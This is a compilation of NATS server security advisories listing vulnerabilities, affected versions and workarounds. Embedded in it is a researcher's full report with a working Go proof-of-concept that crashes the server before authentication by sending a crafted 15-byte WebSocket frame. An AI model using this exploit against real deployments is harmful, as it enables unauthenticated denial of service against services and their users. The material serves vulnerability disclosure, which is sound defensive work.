Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an optional monitoring port, which provides access to sensitive data. The nats-server can take certain configuration options on the command-line instead of requiring a configuration file.

Problem Description

If a nats-server is run with static credentials for all clients provided via argv (the command-line), then those credentials are visible to any user who can see the monitoring port, if that too is enabled.

The /debug/vars end-point contains an unredacted copy of argv.

Patches

Fixed in nats-server 2.12.6 & 2.11.15

Workarounds

The NATS Maintainers are bemused at the concept of someone deploying a real configuration using --pass to avoid a config file, but also enabling monitoring.

Configure credentials inside a configuration file instead of via argv.

Do not enable the monitoring port if using secrets in argv.

Best practice remains to not expose the monitoring port to the Internet, or to untrusted network sources.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.

Problem Description

A client which can connect to the leafnode port can crash the nats-server with a certain malformed message pre-authentication.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

1. Disable leafnode support if not needed. 2. Restrict network connections to your leafnode port, if plausible without compromising the service offered.

References

This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-10.txt> GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-vprv-35vv-q339> MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33218>

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a WebSockets client service, used in deployments where browsers are the NATS clients.

Problem Description

A malicious client which can connect to the WebSockets port can cause unbounded memory use in the nats-server before authentication; this requires sending a corresponding amount of data.

This is a milder variant of NATS-advisory-ID 2026-02 (aka CVE-2026-27571; GHSA-qrvq-68c2-7grw). That earlier issue was a compression bomb, this vulnerability is not. Attacks against this new issue thus require significant client bandwidth.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

Disable websockets if not required for project deployment.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

Problem Description

For MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

Ensure monitoring end-points are adequately secured.

Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

Problem Description

When using ACLs on message subjects, these ACLs were not applied in the $MQTT.> namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When configured to accept leafnode connections (for a hub/spoke topology of multiple nats-servers), then the default configuration allows for negotiating compression; a malicious remote NATS server can trigger a server panic via that compression.

Problem Description

If the nats-server has the "leafnode" configuration enabled (not default), then anyone who can connect can crash the nats-server by triggering a panic. This happens pre-authentication and requires that compression be enabled (which it is, by default, when leafnodes are used).

Context: a NATS server can form various clustering topologies, including local clusters, and superclusters of clusters, but leafnodes allow for separate administrative domains to link together with limited data communication; eg, a server in a moving vehicle might use a local leafnode for agents to connect to, and sync up to a central service as and when available. The leafnode configuration here is where the central server allows other NATS servers to connect into it, almost like regular NATS clients. Documentation examples typically use port 7422 for leafnode communications.

Affected Versions

Version 2, prior to v2.11.14 or v2.12.5

Workarounds

Disable compression on the leafnode port:

leafnodes { port: 7422 compression: off }

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.

Problem Description

A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.

Affected versions

Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.

Solution

Upgrade the NATS server to a fixed version.

Credits

This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.

-----

Report by @Mistz1

Summary

An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).

Details

Vulnerable code: server/websocket.go line 278

go r.rem = int(binary.BigEndian.Uint64(tmpBuf))

When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.

Attack chain:

1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).

2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).

3. r.rem is now negative. At line 307–311, the bounds clamp fails:

go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC

The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.

4. There is no defer recover() anywhere in the goroutine chain: - startGoRoutine: go func() { f() }() — no recovery - readLoop: defer only does cleanup — no recovery

The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.

5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.

Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.

PoC

Server configuration (test-ws.conf): listen: 127.0.0.1:4222

websocket { listen: "127.0.0.1:9222" notls: true }

Start the server: bash nats-server -c test-ws.conf

Exploit (pocwscrash.go): go package main

import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" )

func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] }

fmt.Printf("[] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close()

// WebSocket upgrade req, := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn)

conn.SetReadDeadline(time.Now().Add(5 time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{})

// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte

fmt.Printf("[] Sending: %x\n", frame) conn.Write(frame)

time.Sleep(2 time.Second)

// Verify crash conn2, err := net.DialTimeout("tcp", target, 3time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") }

Run: bash go build -o pocwscrash pocwscrash.go ./pocwscrash

Observed server output before termination: panic: runtime error: slice bounds out of range [:-9223372036854775793]

goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(Server).startGoRoutine.func1() server/server.go:4078 +0x32

Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.

Impact

Vulnerability type: Pre-authentication remote denial of service (full process crash).

Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.

Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.

Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.

( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, when noauthuser was configured, a parser fast path intended for ordinary client connections could also apply to route or leafnode listeners, allowing an unauthenticated peer to bypass inter-server CONNECT authentication and operate with the privileges associated with that connection type. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user could receive messages on denied subjects when a wildcard subscription overlapped with a configured wildcard deny rule but was not a subset of it, and queue subscriptions could also affect delivery to legitimate queue consumers. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user with subscription deny permissions could bypass a plain subject deny rule by using a queue subscription, because queue-specific deny evaluation could override the plain subject deny result when the queue name itself was not denied. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.12.8 and 2.11.17, an unauthenticated peer with network access to a leafnode listener with compression enabled could crash the server during the pre-authentication leafnode handshake by sending repeated leafnode INFO protocol messages before authentication and account setup completed. This issue is fixed in versions 2.12.8 and 2.11.17.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client able to send account-scoped connection monitoring requests could crash the server by supplying Connz pagination Offset and Limit values that overflowed internal arithmetic before the response window was safely bounded. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a WebSocket listener could route requests for the MQTT-over-WebSocket path into MQTT handling even when MQTT was not configured, allowing an unauthenticated client with access to the WebSocket listener to reach uninitialized MQTT state and crash the server process. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client could be registered as the configured noauthuser through a parser path used when the first client operation was not CONNECT, bypassing user-level connection restrictions such as allowedconnectiontypes or proxyrequired that normal authentication would apply. This issue is fixed in versions 2.14.3 and 2.12.12.

Impact

The WebSockets handling of NATS messages handles compressed messages via the WebSockets negotiated compression. The implementation bound the memory size of a NATS message but did not independently bound the memory consumption of the memory stream when constructing a NATS message which might then fail validation for size reasons.

An attacker can use a compression bomb to cause excessive memory consumption, often resulting in the operating system terminating the server process.

The use of compression is negotiated before authentication, so this does not require valid NATS credentials to exploit.

The fix was to bounds the decompression to fail once the message was too large, instead of continuing on.

Patches

This was released in nats-server without being highlighted as a security issue. It should have been, this was an oversight. Per the NATS security policy, because this does not require a valid user, it is CVE-worthy.

This was fixed in the v2.11 series with v2.11.12 and in the v2.12 series with v2.12.3.

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points.

References

This was reported to the NATS maintainers by Pavel Kohout of Aisle Research (www.aisle.com).

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers. NATS messages can have headers.

Problem Description

The nats-server offers a Nats-Request-Info: message header, providing information about a request. This is supposed to provide enough information to allow for account/user identification, such that NATS clients could make their own decisions on how to trust a message, provided that they trust the nats-server as a broker.

A leafnode connecting to a nats-server is not fully trusted unless the system account is bridged too. Thus identity claims should not have propagated unchecked.

Thus NATS clients relying upon the Nats-Request-Info: header could be spoofed.

Does not directly affect the nats-server itself, but the CVSS Confidentiality and Integrity scores are based upon what a hypothetical client might choose to do with this NATS header.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server supports telemetry on messages, using the per-message NATS headers.

Problem Description

A valid client which uses message tracing headers can indicate that the trace messages can be sent to an arbitrary valid subject, including those to which the client does not have publish permission.

The payload is a valid trace message and not chosen by the attacker.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

One authentication model supported is mTLS, deriving the NATS client identity from properties of the TLS Client Certificate.

Problem Description

When using mTLS for client identity, with verifyandmap to derive a NATS identity from the client certificate's Subject DN, certain patterns of RDN would not be correctly enforced, allowing for authentication bypass.

This does require a valid certificate from a CA already trusted for client certificates, and DN naming patterns which the NATS maintainers consider highly unlikely.

So this is an unlikely attack. Nonetheless, administrators who have been very sophisticated in their DN construction patterns might conceivably be impacted.

Affected Versions

Fixed in nats-server 2.12.6 & 2.11.15

Workarounds

Developers should review their CA issuing practices.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a Nats-Request-Info: message header, providing information about a request.

Problem Description

The NATS message header Nats-Request-Info: is supposed to be a guarantee of identity by the NATS server, but the stripping of this header from inbound messages was not fully effective.

An attacker with valid credentials for any regular client interface could thus spoof their identity to services which rely upon this header.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

Problem Description

Sessions and Messages can by hijacked via MQTT Client ID malfeasance.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Resources

This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-06.txt> GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-fcjp-h8cc-6879> MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33215>

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The persistent storage feature, JetStream, has a management API which has many features, amongst which are backup and restore.

Problem Description

Users with JetStream admin API access to restore one stream could restore to other stream names, impacting data which should have been protected against them.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

If developers have configured users to have limited JetStream restore permissions, temporarily remove those permissions.